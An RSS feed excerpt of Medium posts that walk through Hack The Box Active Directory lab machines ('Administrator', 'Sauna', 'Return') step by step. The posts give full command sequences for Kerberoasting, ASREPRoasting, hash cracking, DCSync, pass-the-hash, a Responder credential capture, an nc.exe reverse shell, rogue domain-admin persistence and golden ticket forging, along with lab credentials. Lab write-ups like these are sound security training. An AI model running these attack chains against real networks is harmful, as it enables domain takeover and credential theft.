Admins</figcaption></figure><p>So now let’s explore the FTP service we observed earlier and see if we can get any information from it. We are able to grab Backup.psafe3 .</p><pre>ftp $IP<br>get Backup.psafe3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*EStZLuDD5JKEk-I6o7cEQw.png" /><figcaption>Successful exfiltation of Backup.psafe3</figcaption></figure><p>Since we have no idea what *.psafe3is, we utilize <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">Hashcat documentation </a>or just use Hashcat to identify the hash type. We identify that we need to use -m 5200 with a wordlist, and we are able to crack the password which is tekieromucho</p><pre>hashcat Backup.psafe3<br>hashcat -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*AjfVym4nYj9bf23InIFEvA.png" /><figcaption>Password Safe v3 hash type</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*8zFdhH8bjQz-NqLXrnTEHQ.png" /><figcaption>Password Safe v3 Hash type</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*o0vKP_IcUawXtuKGuVT8vQ.png" /><figcaption>Cracked hash</figcaption></figure><p>Now that we cracked the hash, we need to download Password Safe , and upload the *.psafe3 file and input the password tekieromucho — which gives us access to the passwords for Alexander | Emily | Emma. Then attempt to validate the credentials, and we identify that only emily credentials work.</p><pre><br>https://sourceforge.net/projects/passwordsafe/files/Linux/1.24.0/passwordsafe-debian13-1.24-amd64.deb<br>sudo dpkg -i passwordsafe-debian13-1.24-amd64.deb<br>pwsafe<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*ha8tUROQ3BwbnlQtuLWUFQ.png" /><figcaption>PAssword Safe GUI Login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*wFyOo2IrYWNx8FGLlVU8wg.png" /><figcaption>Password safe containing users credentials</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HJs98fC-UsN36TnIxmCOA.png" /><figcaption>Validation of credentials</figcaption></figure><p>Since we know from earlier that emily is part of the Remote Management Users group, let’s go ahead and grab that user.txt flag.</p><pre>evil-winrm -i 10.129.33.3 -u emily -p &#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&#39;<br>cd ..;cd Desktop<br>more user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BF4WPpFtcTgBHZwIKbtc3A.png" /><figcaption>Successful collection of User.txt flag</figcaption></figure><p>So let’s once again go back to Bloodhound and we can try Pathfinding from user emily to administrator and we can see that we will utilize GenericWrite to get to Ethan and then conduct a DCSync from Ethan to get access to Administrator . Once we click on GenericWrite we can utilize Targeted Kerberoasting to get a hashed password for Ethan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1i7v2eqgDxiqvUc1iknPxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*CNqYGGAoA-of3EVYmBUz-w.png" /></figure><pre><br>sudo git clone https://github.com/ShutdownRepo/targetedKerberoast.git<br>cd targetedKerberoast/<br>sudo pip3 install -r requirements.txt<br>targetedKerberoast.py -v -d &#39;administator.htb&#39; -u &#39;emily&#39; -p &#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&#39;</pre><p>We attempt to conduct the attack but it appears our clock is out the 5 minute sync from the DC, so we need to change that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNAnnDzqjU0pKklOfmPBeA.png" /><figcaption>Failed Kerberoast due to time mismanagement</figcaption></figure><p>Sync your clock with the DC</p><pre>sudo timedatectl set-timezone UTC<br>nmap --script smb2-time $IP<br>sudo date -s &quot;$TIME&quot;<br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*8gBh_I6TRc7lfP3XwosgQw.png" /><figcaption>Validating Syncing workstation to DC clock</figcaption></figure><p>Let’s re-run this, and crack the hashes. Which gives us user ethan password is limpbizkit — which is kind of hilarious.</p><pre>python3 targetedKerberoast.py -v -d &#39;administrator.htb&#39; -u &#39;emily&#39; -p &#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&#39;<br>sudo nano ethan.txt<br>hashcat ethan.txt /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hFf0A2YvjTqH1f6dTwsd_w.png" /><figcaption>Successful Targeted Kerberoast of user Ethan</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAYYwVxh8IKZu_Rw_K7_8A.png" /><figcaption>Successful password crack</figcaption></figure><p>Now that we have this access, validate which protocols we can utilize. We observe that we can use SMB | ldap but not winrm which makes sense since earlier we didn’t observe ethan in Remote Management Users group.</p><pre>nxc smb 10.129.33.3 -u ethan -p &#39;limpbizkit&#39;<br>nxc ldap10.129.33.3 -u ethan -p &#39;limpbizkit&#39;<br>nxc winrm 10.129.33.3 -u ethan -p &#39;limpbizkit&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iLOHJb34Wnpe7tIScerGfg.png" /><figcaption>Credential validation</figcaption></figure><p>Let’s go back to Bloodhound, and earlier, we already observed that we had to conduct a DCSync to dump hashes and get access to Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIPdg5CrwY9bt4Lg0F3UYw.png" /><figcaption>DCSync ability over Administrator</figcaption></figure><p>Let’s go ahead and dump hashes — you can use any of the methods below. Once the hashes are dumped, utilize the NTHash to conudcta Pass-The-Hash to log into Administrator utilizing Evil-WinRM and grab the Root.txt flag.</p><pre>impacket-secretsdump administrator.htb/ethan:&#39;limpbizkit&#39;@$IP -just-dc-ntlm<br>impacket-secretsdump ethan:limpbizkit@dc.administrator.htb<br>nxc smb $IP -u ethan -p limpbizkit --ntds<br>evil-winrm -i $IP -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OTmeCPqh8HkX9tCAHMDsQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pEGHZy5Mdlryx-kmUrU3pQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mh9L2xd5Zth1ML5Ph25oiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_wvMKZpUQEvn4j7aWtXpjg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61d966372bb3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Sauna]]></title>
            <link>https://medium.com/@xNEED/htb-sauna-7cc22bd33fff?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cc22bd33fff</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 21:38:17 GMT</pubDate>
            <atom:updated>2026-07-08T14:06:31.492Z</atom:updated>
            <content:encoded><![CDATA[<p>easy box from <strong>Active Directory Exploitation </strong>path goes brrrrrrr</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*1lnaIq5RGpglumxZ5YMzIQ.png" /><figcaption>Sauna</figcaption></figure><p><em>Sauna is an easy difficulty Windows machine that features Active Directory enumeration and exploitation. Possible usernames can be derived from employee full names listed on the website. With these usernames, an ASREPRoasting attack can be performed, which results in hash for an account that doesn’t require Kerberos pre-authentication. This hash can be subjected to an offline brute force attack, in order to recover the plaintext password for a user that is able to WinRM to the box. Running WinPEAS reveals that another system user has been configured to automatically login and it identifies their password. This second user also has Windows remote management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-All extended right, which allows them to dump password hashes from the Domain Controller in a DCSync attack. Executing this attack returns the hash of the primary domain administrator, which can be used with Impacket’s psexec.py in order to gain a shell on the box as </em><em>NT_AUTHORITY\SYSTEM</em></p><p>Let’s check some ports</p><pre>nmap -svC -p- $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3tzmLXo7iHV8ug-28HxoOQ.png" /></figure><p>We identify that there is an open HTTP port which shows the HTTP-title as Egotistical Bank and that the domain is EGOTISTICAL-BANK.LOCAL <br>Using Netexec, we determine that the device name is sauna and that Null Authentication is allowed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RizAk35L-mx7CZagHA0olA.png" /></figure><p>For DNS resolution, add to /etc/hosts</p><pre>echo &quot;$IP SAUNA EGOTISTICAL-BANK.LOCAL SAUNA.EGOTISTICAL-BANK.LOCAL&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*50h6BZ9goO3UOAIpseSH3w.png" /></figure><p>Let’s check out the home page we observed in our earlier nmap scan. While there isn’t much going on, we observe that on the about.htmlpage we are given the full name list of current employees.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH8IKhkRWAnIffdjIm4BPg.png" /></figure><p>Since we have a collection of usernames, we need to go ahead and create a workable user list. We will use the tool username-anarchy to do this, or you can use whatever tool you are comfortable with.</p><pre>sudo git clone https://github.com/urbanadventurer/username-anarchy.git<br>cd username-anarchy/<br>sudo nano users.txt #input format &quot;firstname lastname&quot;<br>./username-anarchy -i users.txt &gt; generatedUsers.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*yCm5ezRhCxjP5gyvDWSpug.png" /></figure><p>From here, we can start enumerating users, groups, and shares via Null Authentication. We discover that we can query information via LDAP so that will be our attack vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-xlIrGN5olLZusIL9Iv3bw.png" /></figure><p>We will now conduct ASREP-Roasting utilizing Netexec and impacket-GetNPUsers . Both tools produce the same result, which is the $krb5asrep$23$hash for user fsmith</p><pre><br>nxc ldap $IP -u generatedUsers.txt -p &#39;&#39; --asreproast roasted.txt<br>impacket-GetNPUsers -u /opt/username-anarchy/generatedUsers.txt -request -format hashcat -outputfile asrep.txt -dc-ip $IP &#39;EGOTISTICAL-BANK.LOCAL/&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DVGYN9z1fkTKwoXBWTrOfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCl6QE9jHCfp64JZxIP7nw.png" /></figure><p>Now we need to crack these ASREP hashes. Per the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">hashcat</a> documentation, we need to use -m 18200 flag. We will also use the best64.rule, so we have a good chance of cracking it. This produces the password Thestrokes23 for user fsmith</p><pre>locate *.rule #find the rules on your device<br>hashcat -m 18200 roasted.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5sP3Ug7yEmrIicxzVp6vAw.png" /></figure><p>Now let’s start enumeratings users,groups, shares. We observe that users FSmith &amp; svc_loanmgr are part of Remote Management Users group which means we can utilize WMI to login via evil-winrm. We also observe additional users which may come in handy in the near future.</p><pre>nxc smb $IP -u fsmith -p &#39;Thestrokes23&#39; --users<br>nxc ldap $IP -u fsmith -p &#39;Thestrokes23&#39; --groups<br>nxc ldap $IP -u fsmith -p &#39;Thestrokes23&#39; --groups &quot;Remote Management Users&quot;<br>nxc ldap $IP -u fsmith -p &#39;Thestrokes23&#39; --groups &quot;Enterprise Admins&quot;<br>nxc ldap $IP -u fsmith -p &#39;Thestrokes23&#39; --groups &quot;Domain Admins&quot;<br>nxc smb $IP -u fsmith -p &#39;Thestrokes23&#39; --shares<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OE-I4hRHmFGC399Yk09Nmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CopL8sbR7O3PRxFi-qFUeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QKw1zjISOZpOLIR4XLG_hw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExZ0C1niDzjVOLwJGAQAzw.png" /></figure><p>We know that since we have a domain joined user, we can also conduct Kerberoasting. We attempt to conduct the attack but it appears our clock is out the 5 minute sync from the DC, so we need to change that.</p><pre>nxc ldap $IP -u fsmith -p &#39;Thestrokes23&#39; --kerberoasting output.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bU9ISEVrJImKGtsTJlXHdg.png" /></figure><p>Sync your clock with the DC</p><pre>sudo timedatectl set-timezone UTC<br>nmap --script smb2-time $IP<br>sudo date -s &quot;$TIME&quot;<br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*nhxBa3DsOjrWwFt5dJyVag.png" /></figure><p>Now we try again, and we were able to successfully Kerberoast user account HSmith</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-3H3Rqo-riuUuXVHqUe8Q.png" /></figure><p>Now we are going to try to crack the hashes with Hashcat. Per the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">hashcat</a> documentation, we need to use -m 13100 flag. We will also use the best64.rule, so we have a good chance of cracking it. This produces the password Thestrokes23 for user hsmith</p><pre>hashcat -m 13100 output.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -w 3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tyWWvy1Cgv3p2Uw1Ymg2TQ.png" /></figure><p>Now we need to grab the users flag.</p><pre>evil-winrm -i $IP -u fsmith -p &#39;Thestrokes23&#39;<br>cd ..;cd Desktop<br>dir<br>more user.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*cQj50BTBZ16q9URlitiJtw.png" /></figure><p>Now we need to see what sort of privilege escalation we can conduct utilizing WinPEAS. We find the default password for svc_loanmgr that we identified earlier.</p><pre>locate winpeas<br>evil-winrm -i $IP -u fsmith -p &#39;Thestrokes23&#39;<br>upload /usr/share/peass/winpeas/winPEASany.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hTGpwqE5cv1xGdWRgHUPLg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*2k3Utze7wovu6xYw7FjqYw.png" /></figure><p>Now I try to utilize Bloodhound, but it sucks, so I use a bit of Claude to help me parse through it with BloodyAD</p><pre>nxc ldap $IP -u svc_loanmgr -p &#39;Moneymakestheworldgoround!&#39; --bloodhound --collection All --dns-server $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgUSvFI2F6u8kgxV54idDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/1*K8nO2hgf2JPrabWXraUYAQ.png" /></figure><p>We must confirm our ObjectSidand then look for ACEs containing:</p><p>1131f6aa → DS-Replication-Get-Changes<br>1131f6ad → DS-Replication-Get-Changes-All</p><p>Any principal listed with both GUIDs has DCSync capability. Default legitimate holders are Domain Controllers, Domain Admins, Enterprise Admins, and SYSTEM. If svc_loanmgr appears, that confirms the escalation path.</p><pre>bloodyAD -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p &#39;Moneymakestheworldgoround!&#39; --host 10.129.31.23 get object svc_loanmgr --attr objectSid<br>bloodyAD -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p &#39;Moneymakestheworldgoround!&#39; --host 10.129.31.23 get object &#39;DC=EGOTISTICAL-BANK,DC=LOCAL&#39; --attr nTSecurityDescriptor | sed &#39;s/)(/))\n(/g&#39; | grep -iE &quot;1131f6ad|1131f6aa&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K59cDQzJQEvB_AHPIOgRQA.png" /></figure><p>Now we go ahead and dump the hashes, utilize Evil-WinRm to grab the root.txt flag.</p><pre>impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr:&#39;Moneymakestheworldgoround!&#39;@$IP -just-dc-ntlm<br>evil-winrm -i $IP -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9OxAOYp42Sx7btYwMOXOAA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7cc22bd33fff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Return]]></title>
            <link>https://medium.com/@xNEED/htb-return-33a4028711ce?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/33a4028711ce</guid>
            <dc:creator><![CDATA[Need]]></dc:creator>
            <pubDate>Wed, 01 Jul 2026 21:32:13 GMT</pubDate>
            <atom:updated>2026-07-01T22:00:41.419Z</atom:updated>
            <content:encoded><![CDATA[<p>easy box from <strong>Active Directory Exploitation </strong>path goes brrrrrrr</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*e-9UnJsb0HXB6N6pz8Whpg.png" /><figcaption>Return</figcaption></figure><p><em>Return is an easy difficulty Windows machine featuring a network printer administration panel that stores LDAP credentials. These credentials can be captured by inputting a malicious LDAP server which allows obtaining foothold on the server through the WinRM service. User found to be part of a privilege group which further exploited to gain system access.</em></p><p>As always, let’s check out some ports</p><pre>nmap -Pn -n -sVC -p- $IP -vv</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t5AJ3X0WNBmjGp6wzDotrw.png" /><figcaption>Open ports and services</figcaption></figure><p>We identified that there is an open HTTP port, which appears to be a Printer Admin Panel, and that Kerberos/LDAP is open, which means that this is more than likely a Domain Controller.</p><p>Using Netexec, we determine that the device name is printerand that Null Authentication is allowed.</p><pre>nxc smb $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89k1CAE72wKLVcd2asHwFw.png" /></figure><p>For DNS resolution, add to /etc/hosts</p><pre>echo &quot;$IP PRINTER return.local PRINTER.return.local&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*FPhvGvmDrBFHYjDEWO-qdA.png" /></figure><p>Let’s check out the Printer Portal we observed in our earlier nmap scan, and we discover a settings tab. On the settings tab, we observe that we can change the values of the server address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oJNjig693r8FEpIvNy0qdQ.png" /></figure><p>We need to get our local IP address and spin up Responder to capture the password in clear text. We identify the network interface that we will be using for Responder, which is tun0</p><pre>ipconfig<br>sudo responder</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*nHEOc0SZ7Pd0AsaJAKUM_w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*9dYsJ86tKb6K41qmttWKaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*TtBMwCp6rJ0w4CzLgk7MiA.png" /></figure><p>Once we’ve identified our local IP address, spin up Responder to capture authentication traffic. We need to add our responder IP address(which should correspond with your local IP address) into the Server Addressform and attempt to authenticate using Update. This will capture the credentials in clear text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1xSyYKlHurxMlOiPbaKXag.png" /></figure><p>We can now confirm that we LDAP credentials for the domain user return\svc-printer via Netexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3iGf2DJWI2oOrvn8qVQ-3w.png" /></figure><p>From here, we can start enumerating users, groups, and shares. We identify that svc-printerbelongs to groups Remote Management Users &amp; Server Operators . Then I am able to enumerate share permissions, and it appears that I have Read/Write access to share C$ .</p><pre>nxc ldap $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39; --users<br>nxc ldap $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39; --groups<br>nxc ldap $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39; --groups &quot;Remote Management Users&quot;<br>nxc ldap $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39; --groups &quot;Server Operators&quot;<br>nxc smb  $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nESyx_7I-MAuqPm839zoow.png" /><figcaption>Enumerating domain users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jpDVh2km6JSdCPj7Z75vCw.png" /><figcaption>Enumerating user groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iu5rQTgfCJxUNo544rdEJw.png" /><figcaption>Confirming placement in groups</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSAeksWB0p5rF5aQsGXPTw.png" /><figcaption>Identifying share permissions</figcaption></figure><p>We can now manually confirm our access to the C$share and start looking for any juicy information to exfiltrate. We find the user flag!</p><pre>smbclient //$IP/C$ -U &#39;return\svc-printer%1edFg43012!!&#39;<br>more users.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E-uP8h3UxC3l0Eb7hN7GDg.png" /><figcaption>Traverse to svc-printer desktop and find users.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*rCBm-yINy00maoBJe4S_Lg.png" /><figcaption>user flag</figcaption></figure><p>We observed earlier that we are part of Remote Management Users so that means we can use evil-winrm to get onto the device. Once we get onto the device, we check our privileges and see we do have some potential juicy privileges such as SeMachineAccount | SeLoadDriver | SeBackUp | SeRestore as well as confirming that we are in the Remote Management Users | Server Operators groups.</p><p>SeMachineAccountPrivilege = Allows adding workstations to the domain.</p><p>SeLoadDriverPrivilege = Allows administrators or specifically designated users to install and test new kernel-level device drivers without requiring a full system reboot.</p><p>SeBackUpPrivlege = Allows backup of the system files, such as SAM.</p><p>SeRestorePrivilege = Can write files anywhere, overwrites files, protected system files — even those protected by Trusted Installer, registry entries, service configurations.</p><pre>evil-winrm -i $IP -u &#39;svc-printer&#39; -p &#39;1edFg43012!!&#39;<br>whoami /priv<br>net user svc-printer</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*9LSl6ZGE7kG16adrB-VMEw.png" /><figcaption>enumerate privileges</figcaption></figure><p>We now need to find a way to conduct local privilege escalation (LPE). Evil-winrm has a built-in menu that can help a bit, and shows us our current services and what we have privileges to do. We observe that we have start/stop privileges over the service VMTools .</p><pre>menu<br>services<br>sc.exe query VMTools<br>sc.exe stop VMTools #if running, it shouldn&#39;t be though</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C4UdloFXqy6Iu2h9JbfuPg.png" /><figcaption>Identify services</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*obXpDX2GxVnJOwYLDp2VZg.png" /><figcaption>query VMTools</figcaption></figure><p>So now let’s upload netcat , start this service, and get a remote shell. First, find your nc.exe , upload it to the device.</p><pre>locate nc.exe<br>cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .  #. is current location<br>ls<br>upload nc.exe .  #. is current location<br>dir</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*gdP1yimorExDtGCIfY4JNA.png" /><figcaption>Locate nc.exe, copy it to the current directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*3YTXi22MCaNaeKmAre_Fyg.png" /><figcaption>Upload nc.exe to the device</figcaption></figure><p>Configure the service, start the listener in a different tab, catch the reverse shell, and find the flag.</p><pre>sc.exe config VMTools binPath=&quot;C:\Users\\svc-printer\documents\nc.exe -e cmd.exe $IP 1337&quot;<br>nc -lvnp 1337<br>sc.exe start VMTools<br>cd C:\Users<br>cd Administrator<br>cd Desktop<br>dir<br>type root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RutqqC1r-2Bn0gI-NTjjEA.png" /><figcaption>Configure the service to execute nc.exe for a reverse shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*xiyXo80eDTsuiHcl_LAflQ.png" /><figcaption>setup your listener</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*7paL5ChrYZBavthZ8nCJmw.png" /><figcaption>Start the service</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ZuCZolmBpu7ZViUssrImA.png" /><figcaption>Catch the shell, find the flag</figcaption></figure><p><strong>Persistence + Golden Ticket</strong></p><p>We can create a new user, add the new user to the domain admins, and then dump NTDS.</p><pre>sc.exe config VMTools binPath= &quot;cmd.exe /c net user need P@ssw0rd! /add /domain&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*s4wgU3uyVP_Y6NIP-ll3Vg.png" /><figcaption>Add the user</figcaption></figure><p>Confirm we have created the user utilizing SMB/LDAP using Netexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmSEryGsutUWMSRX7NvXBw.png" /><figcaption>Confirm we have created the user</figcaption></figure><pre>sc.exe config VMTools binPath= &#39;cmd.exe /c net group \&quot;Domain Admins\&quot; need /add /domain&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*C_u6kvPAPowTjT9F9wEn2Q.png" /><figcaption>Add the user to Domain Admins</figcaption></figure><p>Confirm we have added the user to Domain Admins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqjt7HFqaGyIZGzFL5TRyA.png" /><figcaption>Confirming we have Pwn3d!</figcaption></figure><p>Dump NTDS and gather your hashes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bAZ68RZcBeJAYJGR6RSGfQ.png" /><figcaption>Dump NTDS</figcaption></figure><p>Let’s also dump NTDS via Volume Shadow Service (VSS)</p><pre>nxc smb $IP -u &#39;need&#39; -p &#39;P@ssw0rd!&#39; --ntds vss<br>nxc ldap $IP -u &#39;Administrator&#39; -H &#39;aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460&#39; --get-sid</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i1JCMBRFQK7N8RhHqODs3A.png" /><figcaption>Dump NTDS via VSS and enumerate Domain SID</figcaption></figure><p>Extract and download NTDS offline with Evil-WinRm to get AES Keys using Impacket-WMIExec</p><pre>evil-winrm -i 10.129.27.62 -u administrator -H 32db622ed9c00dd1039d8288b0407460<br>reg save HKLM\SYSTEM system<br>reg save HKLM\SAM sam<br>ntdsutil &quot;ac i ntds&quot; &quot;ifm&quot; &quot;create full C:\Users\Administrator\Documents\dump&quot; q q<br>download system<br>download sam<br>download &#39;C:\Users\Administrator\Documents\dump\Active Directory\ntds.dit&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*SJapxnPCpXxFNW3R8Y2Jzg.png" /><figcaption>Save and download System/Sam/NTDS</figcaption></figure><p>Extract AES 256 keys</p><pre>impacket-secretsdump -ntds ntds.dit -system system LOCAL | grep -i krbtgt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*LXGzhRSVrCPlFXjI4qOsdQ.png" /><figcaption>KRBTGT AES-256 Key</figcaption></figure><p>Forge Golden Ticket with AES256</p><pre>impacket-ticketer -aesKey cc6ddaa28d2bb97926dabd1b82845479a97080aad93eddfd2ccf4f2ddf00961a \<br>  -domain-sid S-1-5-21-3750359090-2939318659-876128439 \<br>  -domain return.local \<br>  -user-id 500 \<br>  -groups 512,513,518,519,520 \<br>  &quot;Administrator&quot;<br><br>export KRB5CCNAME=$(pwd)/Administrator.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K0qdItvXtxCW5Li70jDffQ.png" /></figure><p>Use the ticket and escalate privileges to NT Authority\System</p><pre>impacket-psexec -k -no-pass -dc-ip $IP return.local/Administrator@PRINTER.return.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*UKuJCmJqqwrl-JTvowqSYw.png" /><figcaption>We are past 5 minutes from the DCs clock</figcaption></figure><p>Sync your clock with the DC</p><pre>sudo timedatectl set-timezone UTC<br>nmap --script smb2-time $IP<br>sudo date -s &quot;$TIME&quot;<br>date</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*4j6bB7xu2VicUdFayGWi2w.png" /><figcaption>Sync the clock</figcaption></figure><p>Now let’s do this again</p><pre>impacket-psexec -k -no-pass -dc-ip $IP return.local/Administrator@PRINTER.return.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*0hXsNUSKT1Rpq0desavnOA.png" /><figcaption>Successful Golden Ticket w/ NT Authority\System access</figcaption></figure><p><strong>resources</strong></p><p><a href="https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet/blob/master/M%20-%20Privileged%20Accounts%20and%20Groups%20in%20Active%20Directory/README.md">https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet/blob/master/M%20-%20Privileged%20Accounts%20and%20Groups%20in%20Active%20Directory/README.md</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33a4028711ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB — Cicada]]></title>
            <link>https://medium.com/@xNEED/htb-cicada-bbf5a47c9d89?source=rss-9d52dd8156ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbf5a47c9d89</guid>
            <category><![CDATA[htb-writeup]]></category>
